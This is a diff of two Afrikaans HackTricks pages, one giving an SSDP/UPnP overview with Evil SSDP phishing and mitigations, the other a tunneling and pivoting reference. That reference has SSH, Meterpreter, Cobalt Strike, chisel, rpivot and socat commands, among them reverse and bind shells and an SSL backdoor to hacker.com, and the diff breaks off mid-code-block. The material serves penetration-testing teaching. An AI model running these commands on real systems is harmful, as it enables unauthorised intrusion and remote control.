Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kyk na [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) vir verdere inligting.**
|
||||
|
||||
## **SSDP & UPnP-oorsig**
|
||||
## **SSDP & UPnP Oorsig**
|
||||
|
||||
SSDP (Simple Service Discovery Protocol) word gebruik vir netwerkdienste-advertering en -ontdekking, wat op UDP-poort 1900 werk sonder om DHCP- of DNS-konfigurasies nodig te hê. Dit is fundamenteel in die UPnP (Universal Plug and Play) argitektuur, wat naadlose interaksie tussen netwerktoestelle soos rekenaars, drukkers en mobiele toestelle fasiliteer. UPnP se zero-configuration networking ondersteun toestelontdekking, IP-adres toewysing en diens-advertering.
|
||||
SSDP (Simple Service Discovery Protocol) word gebruik vir netwerkdiensadvertensie en ontdekking, wat op UDP-poort 1900 werk sonder om DHCP of DNS-konfigurasies te benodig. Dit is fundamenteel in UPnP (Universal Plug and Play) argitektuur, wat naatlose interaksie tussen netwerktoestelle soos rekenaars, drukkers en mobiele toestelle fasiliteer. UPnP se nul-konfigurasie-netwerkondersteuning ondersteun toestelontdekking, IP-adres toewysing, en diensadvertensie.
|
||||
|
||||
## **UPnP-vloei en struktuur**
|
||||
## **UPnP Stroom & Struktuur**
|
||||
|
||||
UPnP-argitektuur bestaan uit ses lae: addressing, discovery, description, control, eventing en presentation. In die begin probeer toestelle 'n IP-adres verkry of self een toewys (AutoIP). Die ontdekkingsfase behels die SSDP, waar toestelle aktief M-SEARCH-versoeke stuur of passief NOTIFY-boodskappe uitsaai om dienste aan te kondig. Die beheerlaag, wat noodsaaklik is vir kliënt-toestelinteraksie, maak gebruik van SOAP-boodskappe vir beveluitvoering gebaseer op toestelbeskrywings in XML-lêers.
|
||||
UPnP argitektuur bestaan uit ses lae: adressering, ontdekking, beskrywing, beheer, gebeurtenis, en aanbieding. Aanvanklik probeer toestelle om 'n IP-adres te verkry of self een toe te ken (AutoIP). Die ontdekking fase behels die SSDP, met toestelle wat aktief M-SEARCH versoeke stuur of passief NOTIFY boodskappe uitsaai om dienste aan te dui. Die beheerslaag, wat noodsaaklik is vir kliënt-toestel interaksie, benut SOAP boodskappe vir opdrag uitvoering gebaseer op toestelbeskrywings in XML-lêers.
|
||||
|
||||
## **IGD & Gereedskapsoorsig**
|
||||
## **IGD & Gereedskap Oorsig**
|
||||
|
||||
IGD (Internet Gateway Device) fasiliteer tydelike poorttoewysings in NAT-opsette, wat bevelaanvaarding via oop SOAP-beheerpunte moontlik maak, ten spyte van standaard WAN-interfacebeperkings. Gereedskap soos **Miranda** help met UPnP-diensontdekking en beveluitvoering. **Umap** stel WAN-toeganklike UPnP-bevele bloot, terwyl opslagplekke soos **upnp-arsenal** 'n verskeidenheid UPnP-gereedskap bied. **Evil SSDP** spesialiseer in hengelary deur middel van vervalsde UPnP-toestelle, met sjablone om legitieme dienste na te boots.
|
||||
IGD (Internet Gateway Device) fasiliteer tydelike poortkaarte in NAT-opstellings, wat opdragaanvaarding via oop SOAP-beheerpunte moontlik maak ten spyte van standaard WAN-koppelvlakbeperkings. Gereedskap soos **Miranda** help in UPnP diensontdekking en opdrag uitvoering. **Umap** stel WAN-toeganklike UPnP opdragte bloot, terwyl repositories soos **upnp-arsenaal** 'n verskeidenheid UPnP-gereedskap bied. **Evil SSDP** spesialiseer in phishing via gespoofde UPnP toestelle, wat sjablone aanbied om wettige dienste na te boots.
|
||||
|
||||
## **Praktiese Gebruik van Evil SSDP**
|
||||
## **Evil SSDP Praktiese Gebruik**
|
||||
|
||||
Evil SSDP skep oortuigende valse UPnP-toestelle wat gebruikers manipuleer om met skynbaar egte dienste te interaksieer. Gebruikers, mislei deur die egte voorkoms, kan sensitiewe inligting soos geloofsbriewe verskaf. Die gereedskap se veelsydigheid strek tot verskeie sjablone, wat dienste soos skandeerders, Office365 en selfs wagwoordkluisse naboots, deur gebruik te maak van gebruikersvertroue en netwerk-sigbaarheid. Na die vaslegging van geloofsbriewe kan aanvallers slagoffers na aangewese URL's omskakel, terwyl die geloofwaardigheid van die misleiding behou word.
|
||||
Evil SSDP skep effektief oortuigende vals UPnP toestelle, wat gebruikers manipuleer om met skynbaar egte dienste te interaksie. Gebruikers, wat deur die werklike voorkoms mislei word, kan sensitiewe inligting soos akrediteer verskaf. Die gereedskap se veelsydigheid strek tot verskeie sjablone, wat dienste soos skandeerders, Office365, en selfs wagwoordkluisies naboots, wat op gebruikers se vertroue en netwerk sigbaarheid kapitaliseer. Na akrediteer vang, kan aanvallers slagoffers na aangewese URL's herlei, terwyl die misleiding se geloofwaardigheid gehandhaaf word.
|
||||
|
||||
## **Versagtingsstrategieë**
|
||||
## **Mitigering Strategieë**
|
||||
|
||||
Aanbevole maatreëls om hierdie bedreigings te beveg, sluit in:
|
||||
Om hierdie bedreigings te bekamp, sluit aanbevole maatreëls in:
|
||||
|
||||
- Deaktiveer UPnP op toestelle wanneer dit nie nodig is nie.
|
||||
- Verskaf gebruikers met opleiding oor hengelary en netwerksekuriteit.
|
||||
- Monitor netwerkverkeer vir onversleutelde sensitiewe data.
|
||||
- Onderwys gebruikers oor phishing en netwerk sekuriteit.
|
||||
- Monitor netwerkverkeer vir ongeënkripteerde sensitiewe data.
|
||||
|
||||
In die essensie bied UPnP gerief en netwerk-vloeibaarheid, maar dit maak ook deure oop vir potensiële uitbuiting. Bewustheid en proaktiewe verdediging is sleutel tot die verseker van netwerkintegriteit.
|
||||
In wese, terwyl UPnP gerief en netwerk vloeibaarheid bied, maak dit ook deure oop vir potensiële uitbuiting. Bewustheid en proaktiewe verdediging is sleutels tot die waarborg van netwerk integriteit.
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# Tunneling en Poort Deurverwysing
|
||||
# Tunneling and Port Forwarding
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Probeer Hard Security Group**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -20,15 +23,15 @@
|
|||
|
||||
***
|
||||
|
||||
## Nmap wenk
|
||||
## Nmap tip
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP** en **SYN** skanderings kan nie deur sokkiesproksi's getunnel word nie, dus moet ons **ping-ontdekking uitskakel** (`-Pn`) en spesifiseer **TCP-skanderings** (`-sT`) vir hierdie doel.
|
||||
**ICMP** en **SYN** skande kan nie deur socks proxies getunnel word nie, so ons moet **ping ontdekking deaktiveer** (`-Pn`) en **TCP skande** (`-sT`) spesifiseer vir dit om te werk.
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
||||
**Gasheer -> Spring -> InternA -> InternB**
|
||||
**Host -> Jump -> InternalA -> InternalB**
|
||||
```bash
|
||||
# On the jump server connect the port 3333 to the 5985
|
||||
mknod backpipe p;
|
||||
|
@ -50,9 +53,9 @@ SSH grafiese verbinding (X)
|
|||
```bash
|
||||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||
```
|
||||
### Plaaslike Poort-na-Poort
|
||||
### Plaaslike Port2Port
|
||||
|
||||
Maak 'n nuwe poort oop in SSH-bediener --> Ander poort
|
||||
Maak nuwe Poort in SSH-bediener --> Ander poort
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
|
@ -60,23 +63,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in
|
|||
```bash
|
||||
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
### Poort-tot-poort
|
||||
### Port2Port
|
||||
|
||||
Plaaslike poort --> Gehackte gasheer (SSH) --> Derde\_kas:Poort
|
||||
Plaaslike poort --> Gecompromitteerde gasheer (SSH) --> Derde\_doos:Poort
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||
```
|
||||
### Poort2gasheer (proxychains)
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
Plaaslike Poort --> Gehackte gasheer (SSH) --> Waarookal
|
||||
Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enige plek
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### Omgekeerde Poort Deurstuur
|
||||
### Omgekeerde Poort Voorwaartse
|
||||
|
||||
Dit is nuttig om omgekeerde shells te verkry van interne gasheer deur 'n DMZ na jou gasheer:
|
||||
Dit is nuttig om omgekeerde skale van interne gasheer deur 'n DMZ na jou gasheer te kry:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||
|
@ -85,9 +88,9 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
# and change the line "GatewayPorts no" to "GatewayPorts yes"
|
||||
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
|
||||
```
|
||||
### VPN-Tonnel
|
||||
### VPN-Tunnel
|
||||
|
||||
Jy benodig **root in beide toestelle** (aangesien jy nuwe interfaces gaan skep) en die sshd-config moet root login toelaat:\
|
||||
Jy het **root op albei toestelle** nodig (aangesien jy nuwe interfaces gaan skep) en die sshd-konfigurasie moet root-aanmelding toelaat:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
|
@ -97,40 +100,38 @@ ifconfig tun0 up #Activate the client side network interface
|
|||
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
||||
ifconfig tun0 up #Activate the server side network interface
|
||||
```
|
||||
Aktiveer deurstuur op die Bedienerkant.
|
||||
Stel forwarding op die bediener-kant in
|
||||
```bash
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
||||
```
|
||||
Stel 'n nuwe roete aan die kliëntkant in.
|
||||
Stel 'n nuwe roete aan die kliëntkant in
|
||||
```
|
||||
route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
## SSHUTTLE
|
||||
|
||||
Jy kan **tunnel** via **ssh** al die **verkeer** na 'n **subnetwerk** deur 'n gasheer.\
|
||||
Byvoorbeeld, stuur al die verkeer wat na 10.10.10.0/24 gaan.
|
||||
Jy kan **tunnel** via **ssh** al die **verkeer** na 'n **subnet** deur 'n gasheer.\
|
||||
Byvoorbeeld, om al die verkeer wat na 10.10.10.0/24 gaan, te forward.
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
```
|
||||
Maak 'n verbinding met 'n privaatsleutel
|
||||
Verbind met 'n privaat sleutel
|
||||
```bash
|
||||
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||
# -D : Daemon mode
|
||||
```
|
||||
## Meterpreter
|
||||
|
||||
### Poort-tot-poort
|
||||
### Port2Port
|
||||
|
||||
Plaaslike poort --> Gehackte gasheer (aktiewe sessie) --> Derde\_kas:Poort
|
||||
Plaaslike poort --> Gecompromitteerde gasheer (aktiewe sessie) --> Derde\_doos:Poort
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS (Socket Secure) is 'n protokol wat gebruik word om 'n privaat skakel tussen rekenaars te skep. Dit kan gebruik word vir anonimiteit en om deur vuremuure te beweeg.
|
||||
```bash
|
||||
background# meterpreter session
|
||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||
|
@ -138,15 +139,7 @@ use auxiliary/server/socks_proxy
|
|||
run #Proxy port 1080 by default
|
||||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
### Tunneling and Port Forwarding
|
||||
|
||||
#### Tunneling
|
||||
|
||||
Tunneling is a method that allows data to be transferred securely over a public network. It involves encapsulating the data in another protocol to create a secure communication channel. This can be useful for bypassing network restrictions or securely accessing resources on a remote network.
|
||||
|
||||
#### Port Forwarding
|
||||
|
||||
Port forwarding is a technique that allows a computer's services to be accessed from the internet. It involves redirecting specific network traffic from one port to another, typically used to expose services running on a local machine to the internet. Port forwarding can be used for remote access, gaming, or hosting services.
|
||||
Nog 'n manier:
|
||||
```bash
|
||||
background #meterpreter session
|
||||
use post/multi/manage/autoroute
|
||||
|
@ -161,9 +154,9 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
```
|
||||
## Cobalt Strike
|
||||
|
||||
### SOCKS proxy
|
||||
### SOCKS-proxy
|
||||
|
||||
Maak 'n poort oop in die spanbediener wat luister op al die koppelvlakke wat gebruik kan word om die verkeer deur die baken te roeteer.
|
||||
Maak 'n poort op die spanbediener oop wat op al die interfaces luister wat gebruik kan word om die **verkeer deur die beacon te lei**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
@ -174,16 +167,22 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|||
### rPort2Port
|
||||
|
||||
{% hint style="warning" %}
|
||||
In hierdie geval is die **poort oopgemaak in die bakenserver**, nie in die Spanbediener nie, en die verkeer word gestuur na die Spanbediener en vandaar na die aangeduide gasheer:poort
|
||||
In hierdie geval, die **poort is oop in die beacon-gasheer**, nie in die Team Server nie en die verkeer word na die Team Server gestuur en van daar na die aangeduide gasheer:poort
|
||||
{% endhint %}
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
### rPort2Port plaaslik
|
||||
To note:
|
||||
|
||||
- Beacon se omgekeerde poort forwarding is ontwerp om **verkeer na die Spanbediener te tonnel, nie om te relay tussen individuele masjiene nie**.
|
||||
- Verkeer is **getonneld binne Beacon se C2 verkeer**, insluitend P2P skakels.
|
||||
- **Admin regte is nie nodig nie** om omgekeerde poort forwards op hoë poorte te skep.
|
||||
|
||||
### rPort2Port lokaal
|
||||
|
||||
{% hint style="warning" %}
|
||||
In hierdie geval word die **poort oopgemaak in die bakenserver**, nie in die Spanbediener nie, en die **verkeer word gestuur na die Cobalt Strike-kliënt** (nie na die Spanbediener nie) en vandaar na die aangeduide gasheer:poort.
|
||||
In hierdie geval, die **poort is geopen in die beacon gasheer**, nie in die Spanbediener nie en die **verkeer word na die Cobalt Strike kliënt gestuur** (nie na die Spanbediener nie) en van daar na die aangeduide gasheer:poort
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
|
@ -193,16 +192,16 @@ rportfwd_local stop [bind port]
|
|||
|
||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||
|
||||
Jy moet 'n weblêer tonnel oplaai: ashx|aspx|js|jsp|php|php|jsp
|
||||
Jy moet 'n weblêer-tunnel oplaai: ashx|aspx|js|jsp|php|php|jsp
|
||||
```bash
|
||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||
```
|
||||
## Beitel
|
||||
## Chisel
|
||||
|
||||
Jy kan dit aflaai van die vrystellingsbladsy van [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Jy moet dieselfde weergawe vir klient en bediener gebruik
|
||||
Jy kan dit aflaai vanaf die vrylating bladsy van [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Jy moet die **selfde weergawe vir kliënt en bediener** gebruik
|
||||
|
||||
### sokkies
|
||||
### socks
|
||||
```bash
|
||||
./chisel server -p 8080 --reverse #Server -- Attacker
|
||||
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
|
||||
|
@ -211,7 +210,7 @@ Jy moet dieselfde weergawe vir klient en bediener gebruik
|
|||
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
|
||||
./chisel client -v 10.10.10.10:8080 socks #Attacker
|
||||
```
|
||||
### Poort deurstuur
|
||||
### Poort forwarding
|
||||
```bash
|
||||
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
|
||||
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
|
||||
|
@ -221,7 +220,7 @@ Jy moet dieselfde weergawe vir klient en bediener gebruik
|
|||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Omgekeerde tonnel. Die tonnel word vanaf die slagoffer begin.\
|
||||
'n Socks4-proksi word geskep op 127.0.0.1:1080
|
||||
'n socks4-proxy word op 127.0.0.1:1080 geskep
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
```
|
||||
|
@ -229,7 +228,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
|||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Pivot deur **NTLM-proksi**
|
||||
Pivot deur **NTLM proxy**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
|
@ -241,21 +240,21 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
|||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Bind skul
|
||||
### Bind shell
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
```
|
||||
### Terugskulp
|
||||
### Terugskakel
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
### Poort-tot-poort
|
||||
### Port2Port
|
||||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```
|
||||
### Poort-tot-poort deur sokkies
|
||||
### Port2Port deur socks
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
|
@ -269,17 +268,17 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
|||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Jy kan 'n **nie-geauthentiseerde proksi** omseil deur hierdie lyn uit te voer in plaas van die laaste een in die slagoffer se konsole:
|
||||
U kan 'n **nie-geoutentiseerde proxy** omseil deur hierdie lyn in plaas van die laaste een in die slagoffer se konsole uit te voer:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat Tonnel
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh konsole**
|
||||
|
||||
Skep sertifikate aan beide kante: Klient en Bediener
|
||||
Skep sertifikate aan beide kante: Kliënt en Bediener
|
||||
```bash
|
||||
# Execute these commands on both sides
|
||||
FILENAME=socatssl
|
||||
|
@ -293,9 +292,9 @@ chmod 600 $FILENAME.key $FILENAME.pem
|
|||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||||
```
|
||||
### Remote Poort-na-Poort
|
||||
### Remote Port2Port
|
||||
|
||||
Verbind die plaaslike SSH-poort (22) met die 443-poort van die aanvaller se gasheer.
|
||||
Verbind die plaaslike SSH-poort (22) met die 443-poort van die aanvaller se gasheer
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
|
@ -303,16 +302,16 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
```
|
||||
## Plink.exe
|
||||
|
||||
Dit is soos 'n konsolideerder PuTTY weergawe (die opsies is baie soortgelyk aan 'n ssh-klient).
|
||||
Dit is soos 'n konsole PuTTY weergawe (die opsies is baie soortgelyk aan 'n ssh-kliënt).
|
||||
|
||||
Aangesien hierdie binêre lêer op die slagoffer uitgevoer sal word en dit 'n ssh-klient is, moet ons ons ssh-diens en poort oopmaak sodat ons 'n omgekeerde verbinding kan hê. Dan, om slegs plaaslik toeganklike poort na 'n poort op ons masjien deur te stuur:
|
||||
Aangesien hierdie binêre in die slagoffer uitgevoer sal word en dit 'n ssh-kliënt is, moet ons ons ssh-diens en poort oopmaak sodat ons 'n omgekeerde verbinding kan hê. Dan, om slegs 'n plaaslik toeganklike poort na 'n poort in ons masjien te stuur:
|
||||
```bash
|
||||
